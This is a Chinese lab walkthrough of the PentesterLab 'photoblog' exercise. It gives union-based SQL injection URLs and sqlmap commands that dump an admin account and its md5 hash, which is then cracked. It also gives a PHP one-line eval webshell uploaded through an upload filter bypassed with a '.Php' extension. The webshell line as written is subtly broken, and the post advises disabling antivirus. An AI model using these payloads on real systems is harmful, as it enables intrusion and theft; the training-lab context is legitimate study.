当前位置: 首页 > article >正文

photoblog解题过程

本题要求:通过sql注入,找到数据库中的账号密码,并成功登录。登录后利用文件上传,将一句话木马上传到数据库中,然后并对网站进行控制。

解题过程

1、通过在靶机中输入ifconfig,查到ip为192.168.80.153,在网站上输入ip,便会出现下面的页面

2、我们事先知道,这是道关于SQL注入的题。所以这时候我们就有两种办法来进行解题。

(1)、第一种就是在URL界面进行手注,然后发现成功报错,说明可行。

(2)、发现报错后,就尝试寻找它的列数有多少,这时候就需要order by 来进行了。

通过192.168.80.152/cat.php?id=1 order by 4 --+发现它的列数刚好为4。

(3)、找到列数,通过192.168.80.153/cat.php?id=-1 union select 1,2,3,4 --+ 查找回显点。发现2存在回显点。

(4)、查询库名、用户名

192.168.80.153/cat.php?id=-1 union select 1,database(),3,4 --+ ====> 查询库名

发现库名为photoblog

192.168.80.153/cat.php?id=-1 union select 1,user(),3,4 --+ ====> 查询用户名

发现用户名为pentesterlab@localhost

(5)、查询表名

192.168.80.153/cat.php?id=-1 union select 1,group_concat(table_name),3,4 from infomation_schema.tables where table_schema='photoblog' --+

发现查询到的表名有categories,pictures,users。我们的目标是找到账号和密码, 所以我们可以先从users来查。

(6)、查询列名

192.168.80.153/cat.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema='photoblog' and table_name='users' --+)

发现查询的列名有id,login,password。发现有login和password,我们就可以查看其中的内容了。

(7)、查询字段值

192.168.80.153/cat.php?id=-1 union select 1,group_concat(login,password),3,4 from users--+)

发现login为admin,password为8efe310f9ab3efeae8d410a8e0166eb2。通过观察发现,password是经过加密的,而且是经过md5加密,这时候我们就可以使用md5的工具来解密。

md5在线解密破解,md5解密加密 (cmd5.com)

解出来的密码是P4ssw0rd。

除去这种办法,还有一种办法是利用SQLmap。这种办法就较为便捷迅速了。

sqlmap -u 192.168.80.153 -D photoblog --dump --batch --crawl=2

这串指令 可以让数据库的内容全部显现出来,前提是知道数据库的名称

sqlmap -u 192.168.80.153 --dbs --dump --batch --crawl=2

这可以查询数据库名称。

3、找到账号密码,在admin界面进行登录

4、在这个界面,我们发现直接插入php文件是无法成功的,这时候我们就可以尝试上传php的畸形后缀文件。例如Php、php3等等。

这里,我们使用的是Php(进行代码编写的时候,记得关闭电脑的安全软件,不然容易被当做病毒杀掉。)

创建一个Php文件,里面输入一句话木马

<?php @eval($_REQUEST('x'));?>

5、发现上传成功,就可以使用第三方尝试连接,或者利用hackbar来进行测试(连接和测试的地址都是其注入的地址)

http://192.168.80.153/admin/uploads/123.Php

如果一句话木马测试后不起作用,可以将代码改成<?php phpinfo();?>

成功访问到phpinfo界面 就代表着成功了。


http://www.kler.cn/a/428989.html

相关文章:

  • word转pdf
  • 构建安全防线:基于视频AI的煤矿管理系统架构创新成果展示
  • flutter 装饰类【BoxDecoration】
  • LabVIEW 蔬菜精密播种监测系统
  • Redis瓶颈和调优
  • Ubuntu VPS 上 Docker 部署 Nginx 服务器详细教程
  • 代码随想录第五十一天
  • 天天 AI-241208:今日热点- OpenAI发布强化微调API,能深度定制超复杂大模型了
  • Linux内核升级操作和 k8s 常见命令
  • Vue3.0中的响应式原理是什么?vue2的响应式原理是什么?
  • LeetCode Hot100 61~70
  • 2024最新qrcode.min.js生成二维码Demo
  • G6基本使用
  • Java项目实战II基于微信小程序的无中介租房系统(开发文档+数据库+源码)
  • Springer Nature——Applied Intelligence 投稿指南
  • JVM学习《垃圾回收算法和垃圾回收器》
  • 知乎Java后台开发面试题及参考答案
  • Vue项目开发 如何实现父组件与子组件数据间的双向绑定?
  • 【innodb阅读笔记】之 索引组织表
  • 工业—使用Flink处理Kafka中的数据_ChangeRecord2
  • rpc-dubbo-多版本
  • 版本控制器git
  • 【六足机器人】01功能开发
  • 2024-12-08AI概念扫盲
  • 为什么Unity里的变体数和UWA工具测出来的不一样
  • 如何利用“一键生成ppt”减轻工作压力